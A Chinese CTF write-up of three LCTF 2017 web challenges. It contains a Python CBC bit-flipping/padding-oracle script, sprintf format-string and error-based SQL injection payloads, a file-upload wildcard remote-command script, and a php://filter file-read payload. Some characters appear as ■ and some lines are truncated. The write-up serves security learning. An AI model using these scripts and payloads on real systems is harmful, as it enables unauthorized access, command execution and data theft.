LCTF 2017 三道Web题的wp及其思考

chybeta / 2017-11-22 23:12:00 / 浏览数 4174 安全技术 CTF 顶(0) 踩(0)

前言

趁着期中考，复习累了做几道ctf玩玩，只做了3道web。感谢师傅们出的题！在这篇wp中我尽量将一些相关的知识点阐述清楚（其实就是废话很多的意思）。请师傅们珍惜
。另外在这篇水文中，我只写了三道题目的wp，里面涉及的一些经验和技巧跟大家分享分享。文章稍长，且自己水平太弱，若有出错，望大佬们指出。

文章结构大概如下；

```
+ Simple blog
   + Task
   + Solution
       + ■■■■
       + CBC■■■■■■
       + ■■■■sql■■
   + ■■
+ ■■■■■■■■■
   + Task
   + Solution
       + SQL■■
       + PHP■■■■■
   + ■■
+ ■■■■■■■■
   + Task
   + Solution
       + ■■■■
       + ■■■■■■
       + php■preg_match
       + php■is_file■readfile
   + ■■
```

Simple blog

Task

```
A simple blog .To discover the secret of it.
http://111.231.111.54/
```

Solution

源码泄露

```
http://111.231.111.54/.login.php.swp
http://111.231.111.54/.admin.php.swp
```

下载下来后，用`vim -r`恢复，得到源代码：

login.php

```
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
   echo '■■';
}

function get_random_token(){
   $random_token = '';
   $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
   for($i = 0; $i < 16; $i++){
       $random_token .= substr($str, rand(1, 61), 1);
```

```
    }
    return $random_token;
}

function get_identity(){
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id === 'admin'){
        $_SESSION['isadmin'] = 1;
    }else{
        $_SESSION['isadmin'] = 0;
    }
}


function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        }
    }
    return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
    $username = mysql_real_escape_string($_POST['username']);
    $password = $_POST['password'];
    $result = mysql_query("select password from users where username='" . $username . "'", $con);
    $row = mysql_fetch_array($result);
    if($row['password'] === md5($password)){
        get_identity();
        header('location: ./admin.php');
    }else{
        die('Login failed.');
    }
}else{
    if(test_identity()){
        header('location: ./admin.php');
    }else{
        show_page();
    }
}
?>
```

admin.php的源码后面放出。

经过测试，存在账号和密码，分别为admin和admin。在login.php页面登陆后会跳转到admin.php。默认情况下，由于并非真实admin，在跳转后会显示you are not admin.

CBC翻转字节攻击

鉴于篇幅的原因，关于CBC翻转字节攻击这里就不多讲了。在观察login.php，以及加上一点点的社工后，可以发现跟NJCTF的某题神似。借网络的脚本，修改了一下，增加

```
import requests
import base64
url='http://111.231.111.54/login.php'
N=16

def inject_token(token):
    header={"Cookie":"PHPSESSID="+phpsession+";token="+token}
```

```
   result=requests.post(url,headers=header)
   return result

def xor(a, b):
   return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
   l=len(string)
   if l!=N:
       return string+chr(N-l)*(N-l)

def padding_oracle(N):
   get=""
   for i in xrange(1,N+1):
       for j in xrange(0,256):
           padding=xor(get,chr(i)*(i-1))
           c=chr(0)*(16-i)+chr(j)+padding
           result=inject_token(base64.b64encode(c))
           if "Error!" not in result.content:
               get=chr(j^i)+get
               break
   return get

def login(url):
   payload = {
       "username":"admin",
       "password":"admin"
   }
   coo1 = {
       "PHPSESSID":"j297k7o6d8stcbvi2c23naj5j6"
   }
   r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False)
   token = r.headers['Set-Cookie'].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
   session = "j297k7o6d8stcbvi2c23naj5j6"
   return session, token

while 1:
   phpsession,token = login(url)

   middle1=padding_oracle(N)
   print middle1
   print "\n"
   if(len(middle1)+1==16):
       for i in xrange(0,256):
           middle=chr(i)+middle1
           print "token:"+token
           print "middle:"+middle
           plaintext=xor(middle,token);
           print "plaintext:"+plaintext
           des=pad('admin',N)
           tmp=""
           print des.encode("base64")
           for i in xrange(16):
               tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
           print tmp.encode('base64')
           result=inject_token(base64.b64encode(tmp))
           # print result.content
           if "Login Form" not in result.content and "Error" not in result.content:
               print result.content
               print "success"
               exit()
```

得到:

```
token  HGV8cWwzDgk2CBooPRYtXA==
PHPSESSID  j297k7o6d8stcbvi2c23naj5j6
```

成功进入后台。

格式化串sql注入

这里放上admin.php的源码：

```
<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
   die('You are not admin');
}

if(isset($_GET['id'])){
   $id = mysql_real_escape_string($_GET['id']);
   if(isset($_GET['title'])){
       $title = mysql_real_escape_string($_GET['title']);
       $title = sprintf("AND title='%s'", $title);
   }else{
       $title = '';
   }
   $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
   $result = mysql_query($sql,$con);
   $row = mysql_fetch_array($result);
   if(isset($row['title'])&&isset($row['content'])){
       echo "<h1>".$row['title']."</h1><br>".$row['content'];
       die();
   }else{
       die("This article does not exist.");
   }
}
?>
```

在看到sprintf后，可以很直接的联系到前阵子爆出的关于wordpress的格式化字符串SQL注入漏洞。传送门：从WordPress SQLi谈PHP格式化字符串问题（2017.11.01更新）

基于泄露出的源码，添加一些变量打印语句，本地测试代码：

```
<?php
$con = mysql_connect("localhost", "root", "root");

if(isset($_GET['id'])){
   print_r("GET[id] => ".$_GET['id']."</br>");
   $id = mysql_real_escape_string($_GET['id'],$con);
   print_r("\$id => ".$id."</br>");

   if(isset($_GET['title'])){
       print_r("GET[title] => ".$_GET['title']."</br>");
       $title = mysql_real_escape_string($_GET['title']);
       print_r("escape string tile: \$title => ".$title."</br>");
       $title = sprintf("AND title='%s'", $title);
       print_r("After first sprintf : \$title => ".$title."</br>");
   }else{
       $title = '';
   }

   $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
   print_r("sql => ".$sql);
}
?>
```

payload:

```
http://127.0.0.1:2500/index.php?id=1&title=flag%1$'%20 or 1=1%23
```

观察传入的title参数。

title传入的值为`flag%1$' or 1=1#`，经过`mysql_real_escape_string`，会使得单引号`'`前加上斜杠，也就是图片中的第四行：

```
escape string tile: $title => flag%1$\' or 1=1#
```

接下来执行一次`sprintf("AND title='%s'", $title);`，也就是将前面得到的title值title值为：

```
After first sprintf : $title => AND title='flag%1$\' or 1=1#'
```

接下来，又一次执行了sprintf：

```
sprintf("SELECT * FROM article WHERE id='%s' AND title='flag%1$\' or 1=1#'", $id);
```

由于PHP的sprintf中，%1$\这样的语法，百分号%后面的数表示使用第几个参数，$后面的表示类型，常见的类型比如s表示字符串等等。比如%1$s，表示使用第一个参数，

```
<?php
// ■format■■■■■ $ ■■■■■■■■■■■■■■■sprintf■■■■ %1$s
$format1 = "hello,%1\$s one<br/>";
$format2 = "hello,%2\$s two<br/>";
$format3 = "hello,%1\$\' three<br/>";
$format4 = "hello,%\$\' four<br/>";

print_r("format string 1 : ".$format1);
print_r("Result: ".sprintf($format1,"chybeta-1","chybeta-2"));

print_r("format string 2 : ".$format2);
print_r("Result: ".sprintf($format2,"chybeta-1","chybeta-2"));

print_r("format string 3 : ".$format3);
print_r(sprintf($format3,"chybeta-1","chybeta-2"));

print_r("format string 4 : ".$format4);
print_r(sprintf($format4,"chybeta-1","chybeta-2"));
?>
```

前两个示例是演示选择参数的用法。第三个和前两个比较，变成类型%\，会直接跳过不处理，并直接输出。第四个和第三个对比，少了参数选择，这会导致报错，无法正常

回到前面的sprintf

```
sprintf("SELECT * FROM article WHERE id='%s' AND title='flag%1$\' or 1=1#'", $id);
```

通过百分号后的1，选择了一个参数（即id）不会爆错。利用类型%\，使得跳过。而原本在\后面的单引号，由于前面斜杠被当作了sprintf的类型，得以成功逃逸。

剩下的工作就是盲注了，比如：

```
http://111.231.111.54/admin.php?id=1&title=flag%1$'%20 or (SELECT%09GROUP_CONCAT(f14g)%09FROM%09web1.key) < 255 #
```

脚本写得太丑，基于以前的写的框架修改的，这里就不贴啦。

最后注出来的表结构如下：

```
■■■■web1
■■:key
■■■:f14g
```

flag:

```
LCTF{N0!U_hacked_My_b1og}
```

回到PHP的sprintf中，sprintf能吃掉\呢？在源码中，采用了case进行分类处理，而对于未知情况，则采取break。明显%\是未知情况，因此成功绕过。

小结

- 源码泄露
- CBC翻转字节攻击
- 格式化串sql注入

他们有什么秘密呢

Task

```
■■■■■■■■■■■.....
http://182.254.246.93/
```

Solution

SQL注入

这是第一关。查看源代码后，有如下tips：

```
<!-- Tip:■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■~ -->
```

所以目标很明确。

经过测试，过滤了information等关键字。而union，select等则没有过滤。

参考[mysql注入可报错时爆表名、字段名、库名]

获取表名

文章中利用的是Polygon()函数，这个也被过滤了。我换了linestring()来报错注入。

```
http://182.254.246.93/entrance.php
```

```
POST: pro_id=1 and linestring(pro_id)
```

得到如下信息：

```
■■■■■youcanneverfindme17
■■■product_2017ctf
■■■■■■pro_id
```

除了linestring和Polygon外，其他同样能用来报错获取得到当前表名和字段的还有：

1. multiPolygon(id)
2. multilinestring(id)
3. GeometryCollection(id)
4. MultiPoint(id)

查询字段名

其实这一步，可以跳过。因为利用union搭配别名子查询，可以达到在不知道字段名的时候进行注入。

为了完整性，这里试一下注出字段名。

利用[orangetw大佬的提过的技巧]

基本的原理是子查询中不允许出现相同的表名，本地环境测试如下：

之后可以利用using来逐步爆出字段名：

举一反三：

第一步：

```
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id)) as c);
Duplicate column name 'pro_name'
```

第二步：

```
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name)) a
Duplicate column name 'owner'
```

第三步：

```
POST: pro_id=-999 union (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,own
Duplicate column name 'd067a0fa9dc61a6e'
```

得到如下信息：

```
■■youcanneverfindme17
■■product_2017ctf
■■: pro_id  pro_name owner,d067a0fa9dc61a6e
```

查询数据

参考文章：
http://blog.7ell.me/2017/05/30/2017-DDCTF-SQL%E6%B3%A8%E5%85%A5%E4%B9%8B%E8%BF%87%E6%BB%A4%E5%88%97%E5%90%8Dget%E6%95%B0

```
POST:pro_id=-2513 UNION ALL SELECT NULL,CONCAT((select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
```

```
product name:7195ca99696b5a896.php
```

最终获得完整的结构与数据如下：

```
product_id:  1,2,3
product_name: car,iphone11,nextentrance
owner:Tom John Boss
d067a0fa9dc61a6e:wobuzaizheli nextnext 7195ca99696b5a896.php
```

其他

在做的过程，有想利用innodb引擎来注入，不过好像没啥用2333

```
POST:
pro_id=-2513 UNION ALL SELECT NULL,CONCAT((select table_name from innodb_table_stats)),NULL,NULL--

'youcanneverfindme17.innodb_table_stats' doesn't exist
■■■■youcanneverfindme17
```

根据tips，得到下一个入口地址:d067a0fa9dc61a6e7195ca99696b5a896.php
<!-- Tip:将表的某一个字段名，和表中某一个表值进行字符串连接，就可以得到下一个入口喽~ -->

PHP的命令执行

http://182.254.246.93/d067a0fa9dc61a6e7195ca99696b5a896.php

到了这里就跟 32c3 2015 ctf-TinyHosting的题目很像了。

就几个知识点展开说一说。

一个是php的短标签。当php.ini的short_open_tag=on时，PHP支持短标签，默认情况下为off。当开启后能执行<? ?>标签内的php语句：

```
chybeta@ubuntu:/var/www/html$ cat test.php
<? echo "chybeta\n";?>
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
chybeta
chybeta@ubuntu:/var/www/html$
```

另一个知识点是php的反引号命令执行，php会反引号内的内容作为shell命令执行，效果与 shell_exec()同。

```
chybeta@ubuntu:/var/www/html$ cat test.php
<? $temp = `date`; echo $temp;?>
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
Wed Nov 22 22:01:34 CST 2017
chybeta@ubuntu:/var/www/html$
```

第三个知识点是关于php的echo，echo有个快捷写法，可以在打开标记前直接用一个等号。见下：

```
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
chybeta
chybeta@ubuntu:/var/www/html$ vim test.php
chybeta@ubuntu:/var/www/html$ cat test.php
<?="chybeta\n";
chybeta@ubuntu:/var/www/html$ curl 127.0.0.1/test.php
chybeta
chybeta@ubuntu:/var/www/html$
```

我们的需求：执行命令，得到回显。结合上面三个知识点，在7个字节的限制下，比如构造如下（ ）：

```
<?=`w`;
```

（题外话：命令w用于显示已经登陆系统的用户列表）

运行结果：

不过怎么执行任意命令呢？这里用到第四个知识点，shell中的通配符*会将符合模式的文件列出来，之后执行，详情可见这里Shell 通配符。所以当文件夹下有如下文件：

```
bash z.sh
```

而我在shell中直接键入一个*即：

```
chybeta@ubuntu: *
```

shell会匹配并进行替换，完成替换后实际执行的命令为：

```
chybeta@ubuntu: bash c.sh
```

由于这属于shell后台自动完成就不展示了。

接着要考虑一点，我们需要用*来利用文件名执行任意命令，因此在文件名的构造顺序上需要注意。比如我们最终要在文件下生成这三个文件:

```
bash c.sh z.php
```

才能成功的执行c.sh。

附上利用脚本：

```
import requests
import re

url = "http://182.254.246.93/d067a0fa9dc61a6e7195ca99696b5a896.php"
user_agent = "xxx"

while 1:
   command = raw_input("input command: ")
   t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"z.php", "content":"<?=`*`;"}).text
   [path] = re.findall('files.*/zzz.php', t)

   requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'anything'})
   requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"c.sh", "content": command})
   url1 = "http://182.254.246.93/"
   r = requests.get(url1+path)
   print r.text
```

flag:

```
$flag = "LCTF{n1ver_stop_nev2r_giveup}";
```

小结

- 基于报错的sql注入：
  - 获取库名，表名，列名，数据
  - join using
- php技巧:
  - 短标签
  - 反引号
  - echo缩写
- shell通配符

萌萌哒报名系统

Task

■■■■■■■■■■■■IDE■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■XD?
http://123.206.120.239/

Solution

源码泄露

根据题目信息，用了IDE,比如phpstrom，以前做百度杯时碰到过。尝试访问:

```
http://123.206.120.239/.idea/workspace.xml
```

发现源码包：xdcms2333.zip。下载下来进行审计。

基本流程梳理

regisrer.php

```
<?php
   include('config.php');
```

```
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing u
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing p
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
    echo '<script>alert("register success");location.href="./index.html"</script>';
```

login.php

```
<?php
    session_start();
    include('config.php');
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing u
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing p

    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }
    $_SESSION['username'] = $username;
    unset($_SESSION['is_logined']);
    unset($_SESSION['is_guest']);
    #echo $username;
    header("Location: member.php");
?>
```

member.php

```
<?php
    error_reporting(0);
    session_start();
    include('config.php');
    if (isset($_SESSION['username']) === false) {
        die('please login first');
```

```
    }
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

    $_SESSION['is_logined'] = true;
    if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {

    }else{
        if(isset($_GET['file'])===false)
            echo "None";
        elseif(is_file($_GET['file']))
            echo "you cannot give me a file";
        else
            readfile($_GET['file']);
    }
?>
```

php的preg_match

在code部分填入超长的字符串，并且符合preg_match匹配的模式。则在register.php在preg_match时导致超时php脚本停止，字符串guest没有被插入成功。之后在login

```
if ($sth->fetch()[0] === 'GUEST') {
    $_SESSION['is_guest'] = true;
}
```

并在接下来的判断中，进入else分支：

```
if(isset($_GET['file'])===false)
    echo "None";
elseif(is_file($_GET['file']))
    echo "you cannot give me a file";
else
    readfile($_GET['file']);
```

上次微信崩溃，好像也是正则匹配搞得鬼嘛。二者原理不同，不过应该还是有某种神似的。

php的is_file和readfile

在进入成功后，需要提供file参数来读取文件。需要绕过is_file，考虑配合php伪协议。

```
/member.php?file=php://filter/read=convert.base64-encode/resource=config.php
```

isfile判断为假，而readfile利用伪协议读取到config.php文件

得到config.php源码：

```
<?php
$user = "xdsec";
$pass = "xdsec";
$flag = "LCTF{pr3_maTch_1s_A_amaz1ng_Function}"
?>
```

flag:

```
LCTF{pr3_maTch_1s_A_amaz1ng_Function}
```

小结

- PHP的preg_match
- isfile、readfile
- php伪协议

后言

能看到这里的都是真爱（应该把）。相信很多新手跟我一样，在复现一些wp的时候会丈二和尚摸不着头脑，弄不清这里为什么要这么做/或者怎么想到的。虽然ctf中需要一些

上一篇：JAVA中常见数据库操作API 下一篇：Radare2使用实战

1. 1 条回复

 jfeiyi 2017-11-24 11:41:03

学习了

0 回复Ta
